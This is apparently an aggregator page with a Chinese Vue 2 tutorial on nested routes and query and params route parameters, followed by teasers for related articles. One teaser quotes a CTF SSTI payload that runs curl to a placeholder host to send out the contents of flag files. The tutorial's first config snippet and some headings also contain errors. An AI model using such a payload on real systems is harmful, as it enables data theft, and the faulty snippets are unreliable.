路由的params参数,命名路由,路由的params参数,命名路由

news2024/11/23 23:43:53

上篇我们讲了vue路由的使用

今天我们来讲vue中路由的嵌套,路由的params参数,命名路由

一.路由的params参数

1.配置路由规则,使用children配置项:
router:[
	{
		path:'/about',
		component:About,
	},
	{
		path:
		component:Home,
		//通过children配置子路由
		chilren:{
			path:'news',//此处一定不要写:/new
			component:News
		},
		{
			path:'message',//此处一定不要写:/message
			component:Message
		}
	}
]
2.跳转(要写完整路径)
<router-link to="home/news">News<router-link>
//router中的index.js
//该文件专门用于创建整个应用的路由器
import VueRouter  from "vue-router"

import homeRouter from '../page/homeRouter'
import AboutRouter from '../page/aboutRouter'
import News from '../page/NewsRouter'
import Message from '../page/MessageRouter'

// 创建并暴露一个路由器
export default new VueRouter({
    routes: [
        {
            path:'/about',
            component:AboutRouter
        },
        {
            path:'/home',
            // 二级路由
            component:homeRouter,
            children:[
                {
                    path:'news',
                    component:News,
                },
                {
                    path:'message',
                    component:Message,
                }
            ]
        }
    ]
})
//homeRouter.vue
<template>
  <div>
      <h3>我是home的内容</h3>
      <div>
        <ul class="nav-tabs">
          <li>
            <router-link to="/home/news">News</router-link>
          </li>
          <li>
            <router-link to="/home/message">Message</router-link>
          </li>
        </ul>
        <router-view></router-view>
      </div>
  </div>
</template>

<script>
export default {
    name:'homeRouter'
}
</script>

<style>

</style>
//homeRouter.vue
<template>
  <div>
      <h3>我是home的内容</h3>
      <div>
        <ul class="nav-tabs">
          <li>
            <router-link to="/home/news">News</router-link>
          </li>
          <li>
            <router-link to="/home/message">Message</router-link>
          </li>
        </ul>
        <router-view></router-view>
      </div>
  </div>
</template>

<script>
export default {
    name:'homeRouter'
}
</script>

<style>

</style>
//MessageRouter.vue
<template>
  <div>
      <ul>
          <li>
             <a href="">message001</a> 
          </li>
          <li>
               <a href="">message002</a> 
          </li>
          <li>
               <a href="">message003</a> 
          </li>
      </ul>
  </div>
</template>

<script>
export default {
    name:'MessageRouter'
}
</script>

<style>

</style>
//newRouter.vue
<template>
  <div>
      <ul>
          <li>
              <a href="">New001</a>
          </li>
          <li>
              <a href="">New002</a>
          </li>
          <li>
              <a href="">New003</a>
          </li>
      </ul>
  </div>
</template>

<script>
export default {

}
</script>

<style>
</style>

如图所示这就是展示的效果 :

 二.路由的query参数

1.传递参数
跳转并携带query参数,to的字符串写法
<router-link :to="`/home/message/detail?id={m.id}&title={m.title}`"></router-link>
2.接收d参数
<router-link :to="{
                  path:'/home/message/detail',
                  query:{
                  id:666,
                  title:"你好"
                  }
                  }"></router-link>
//router的index.js
//该文件专门用于创建整个应用的路由器
import VueRouter  from "vue-router"

import homeRouter from '../page/homeRouter'
import AboutRouter from '../page/aboutRouter'
import News from '../page/NewsRouter'
import Message from '../page/MessageRouter'
import DetailRouter from '../page/DetailRouter';

// 创建并暴露一个路由器
export default new VueRouter({
    routes: [
        {
            path:'/about',
            component:AboutRouter
        },
        {
            path:'/home',
            // 二级路由
            component:homeRouter,
            children:[
                {
                    path:'news',
                    component:News,
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            path:'detail',
                            component:DetailRouter
                        }
                    ]
                }
            ]
        }
    ]
})
//messageRouter.vue
<template>
  <div>
      <ul>
          <!-- 跳转路由器并携带query参数,to的字符串写法 -->
          <li v-for="m in messageList" :key="m.id">
              <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">
              {{m.title}}
              </router-link> -->
            <!-- 跳转路由并携带query参数,to的对象写法 -->
            <router-link :to="{
                path:'/home/message/detail',
                query:{
                    id:m.id,
                    title:m.title
                }
            }">
            {{m.title}}
            </router-link>
            </li>
        
      </ul>
      <hr>
      <router-view></router-view>
  </div>
</template>

<script>
export default {
    name:'MessageRouter',
    data() {
        return {
            messageList:[
                {id:'001',title:'消息001'},
                {id:'002',title:'消息002'},
                {id:'003',title:'消息003'}
            ]
        }
    },

}
</script>

<style>
</style>
//detail.vue
<template>
 <ul>
     <li>消息编号:{{$route.query.id}}</li>
     <li>消息标题:{{$route.query.title}}</li>
 </ul>
</template>

<script>
export default {
    name:'DetailRouter',
}
</script>

<style>
</style>

如图:

 三.路由的params参数

1.配置路由,声明params参数
{
            path:'/home',
            // 二级路由
            component:homeRouter,
            children:[
                {
                    path:'news',
                    component:News,
                },
                {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            name:'xijie',
                            path:'detail/:id/:title',//使用占位符声明接收params参数
                            component:DetailRouter
                        }
                    ]
                }
            ]
        }
2.传递参数
 <!-- 跳转路由器并携带params参数,to的字符串写法 -->
<router-link :to="/home/message/detai/666/你好">跳转</router-link>

  <!-- 跳转路由并携带params参数,to的对象写法 -->
<router-link :to="{
                  name:'xijie',
                  params:{
                  id:666,
                  title:'你好'
                  }
                  }">跳转</router-link>
3.特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置
4.接收参数:
	$route.params.id
	$route.para
//router的index.js detail相关部分
 {
                    path:'message',
                    component:Message,
                    children:[
                        {
                            name:'xijie',
                            path:'detail/:id/:title',//node.js的占位符,为params准备
                            component:DetailRouter
                        }
                    ]
 }
//detailRouter.vue
<template>
 <ul>
     <li>消息编号:{{$route.params.id}}</li>
     <li>消息标题:{{$route.params.title}}</li>
 </ul>
</template>

<script>
export default {
    name:'DetailRouter',
}
</script>

<style>

</style>
//messageRouter.vue传参部分
 <li v-for="m in messageList" :key="m.id">
        <!-- 跳转路由器并携带params参数,to的字符串写法 -->
              <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`">
              {{m.title}}
              </router-link> -->
            <!-- 跳转路由并携带params参数,to的对象写法 -->
            <router-link :to="{
                name:'xijie',
                params:{
                    id:m.id,
                    title:m.title
                }
            }">
            {{m.title}}
            </router-link>
 </li>

今天写到这 下次我们再讲解  名路由

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1850371.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

以太坊==windows电脑本地搭建一个虚拟的以太坊环境

提供不同的选择&#xff0c;适合不同需求和技术水平的开发者&#xff1a; Geth&#xff1a;适合需要与主网兼容或构建私有网络的开发者。Ganache&#xff1a;适合快速开发和测试智能合约的开发者&#xff0c;特别是初学者。Docker&#xff1a;适合需要快速、可重复搭建环境的开…

高性能、高可靠性!Kafka的技术优势与应用场景全解析

我是小米,一个喜欢分享技术的29岁程序员。如果你喜欢我的文章,欢迎关注我的微信公众号“软件求生”,获取更多技术干货!​​​​​​​ 大家好,我是你们的小米,今天要和大家聊聊一个超级强大的消息系统——Kafka。很多同学可能对它还不太熟悉,不过没关系,今天我就带你们…

树和森林.

目录 一、树 1.1树的存储结构 1.1.1双亲表示法 1.1.2孩子链表 1.1.3孩子兄弟表示法 1.2树与二叉树的转换 1.2.1将树转换成二叉树&#xff1a; 1.2.2将二叉树转换成树 二、森林 2.1森林与二叉树的转换 2.1.1将森林转换成二叉树 2.1.2二叉树转换成森林 三、树和森林的…

找不到xinput1_3.dll如何修复?总结几种靠谱的修复方法

在数字时代&#xff0c;软件问题几乎是每个电脑用户都会遇到的难题。最近&#xff0c;我也遇到了一个令人头疼的问题——xinput1_3.dll文件丢失。这个问题导致我无法正常运行一些游戏&#xff0c;十分影响我的娱乐体验。通过这次修复经历&#xff0c;我不仅解决了问题&#xff…

FL论文专栏|设备异构、异步联邦

论文&#xff1a;Asynchronous Federated Optimization&#xff08;12th Annual Workshop on Optimization for Machine Learning&#xff09; 链接 实现Server的异步更新。每次Server广播全局Model的时候附带一个时间戳&#xff0c;Client跑完之后上传将时间戳和Model同时带回…

OAuth 2.0资源授权机制与安全风险分析

文章目录 前言OAuth2.01.1 OAuth应用1.2 OAuth基础1.3 授权码模式1.4 其它类模式1.5 openid连接 安全威胁2.1 隐式授权劫持2.2 CSRF攻击风险2.3 Url重定向漏洞2.4 scope校验缺陷 总结 前言 OAuth 全称为Open Authorization&#xff08;开放授权&#xff09;&#xff0c;OAuth …

[Qt] QtCreator编辑区关闭右侧不必要的警告提示

在代码编辑页面&#xff0c;右侧总会出现一些即时Waring&#xff0c;不想看见&#xff1f; 取消勾选插件管理中的ClangCodeModel 插件即可

基于肤色模型的人脸识别,基于野火FPGA ZYNQ开发板

使用芯片为ZYNQ—7020&#xff0c;基于野火FPGA ZYNQ开发板 肤色模型简介 YCrCb也称为YUV&#xff0c;主要用于优化彩色视频信号的传输。与RGB视频信号传输相比&#xff0c;它最大的优点在于只需占用极少的频宽&#xff08;RGB要求三个独立的视频信号同时传输&#xff09;。其…

【机器学习 复习】第4章 决策树算法(重点)

一、概念 1.原理看图&#xff0c;非常简单&#xff1a; &#xff08;1&#xff09;蓝的是节点&#xff0c;白的是分支&#xff08;条件&#xff0c;或者说是特征&#xff0c;属性&#xff0c;也可以直接写线上&#xff0c;看题目有没有要求&#xff09;&#xff0c; &#xff…

常见的8种排序(含代码):插入排序、冒泡排序、希尔排序、快速排序、简单选择排序、归并排序、堆排序、基数排序

时间复杂度O(n^2) 1、插入排序 (Insertion Sort) 从第一个元素开始&#xff0c;该元素可以认为已经被排序&#xff1b;取出下一个元素&#xff0c;在已经排序的元素序列中从后向前扫描&#xff1b;如果该元素&#xff08;已排序&#xff09;大于新元素&#xff0c;将该元素移到…

喂饭教程:AI生成100套Word题库阿里云百炼实训营

郭震原创&#xff0c;手撸码字187022张图 你好&#xff0c;我是郭震 1 实际需求 前段时间&#xff0c;有个关注我的粉丝联系我&#xff0c;是一位大学计算机女老师。 她想做一个二级考试题库&#xff0c;选择题实操题&#xff0c;最好100套以上&#xff0c;拿来给学生练手。 问…

大脑临界状态:探索思维背后的物理机制

在深度思考或创造性灵感的涌现时刻&#xff0c;个体常体验到一种介于混乱与有序之间的特殊心理状态。这种感受实则反映了大脑在认知过程中的临界状态&#xff0c;这是一种涉及复杂物理现象的心理活动表现。近期研究表明&#xff0c;大脑结构中存在着与临界性密切相关的物理特性…

DataWhale - 吃瓜教程学习笔记(二)

学习视频&#xff1a;第3章-一元线性回归_哔哩哔哩_bilibili 西瓜书对应章节&#xff1a; 3.1 - 3.2 一元线性回归 - 最小二乘法 - 极大似然估计 - 梯度 多元函数的一阶导数 - 海塞矩阵 多元函数的二阶导数 - 机器学习三要素

php反序列化漏洞简介

目录 php序列化和反序列化简介 序列化 反序列化 类中定义的属性 序列化实例 反序列化实例 反序列化漏洞 序列化返回的字符串格式 魔术方法和反序列化利用 绕过wakeup 靶场实战 修复方法 php序列化和反序列化简介 序列化 将对象状态转换为可保持或可传输的格式的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

【开源节流】如何通过数字化转型增强盈利能力?

引言&#xff1a;随着市场竞争的日益激烈&#xff0c;新技术发展的推动和企业发展的需求等&#xff0c;这些背景因素共同促使企业加快数字化转型步伐&#xff0c;以适应市场变化、提升竞争力并实现可持续发展。那如何通过如何通过数字化转型增强盈利能力&#xff1f;需要通过开…

MobileNetV3轻量化YOLOv8

1 轻量化模型 一般而言,模型轻量化有三个途径: 知识蒸馏:大模型引导小模型训练,让其逼近大模型效果 轻量化模块替换:利用一些轻量化模块进行替换,减少模型参数 剪枝:通过优化算法引导模型裁剪无用的参数 MobileNetV3论文如下,自行搜索 2 修改步骤 在nn/modules的文…

神经网络学习6-线性层

归一化用的较少 正则化用来解决过拟合&#xff0c;处理最优化问题&#xff0c;批量归一化加快速度 正则化&#xff08;Regularization&#xff09;&#xff1a; 作用&#xff1a;正则化是一种用来防止过拟合的技术&#xff0c;通过向模型的损失函数中添加惩罚项&#xff0c;使…

Wakelocks 框架设计与实现

Wakelocks 框架是基于Wakeup Source实现的为Android系统上层提供投票机制&#xff0c;以阻止系统进入休眠。 1.功能说明 该模块的支持受宏CONFIG_PM_WAKELOCKS控制。在使能该宏的情况下&#xff0c;PM Core初始化过程中会在sysfs下创建两个属性节点&#xff1a; /sys/power/w…

CNN神经网络猫狗分类经典案例

因为有猫和狗两类&#xff0c;所有在data/train目录下&#xff0c;再建两个目录data/train/dog和data/train/cat&#xff1a; 同理&#xff0c;其他的data/validation和data/test目录下&#xff0c;再建两个目录&#xff1a;cat和data/&#xff0c;在cat和dog目录下&#xff0c…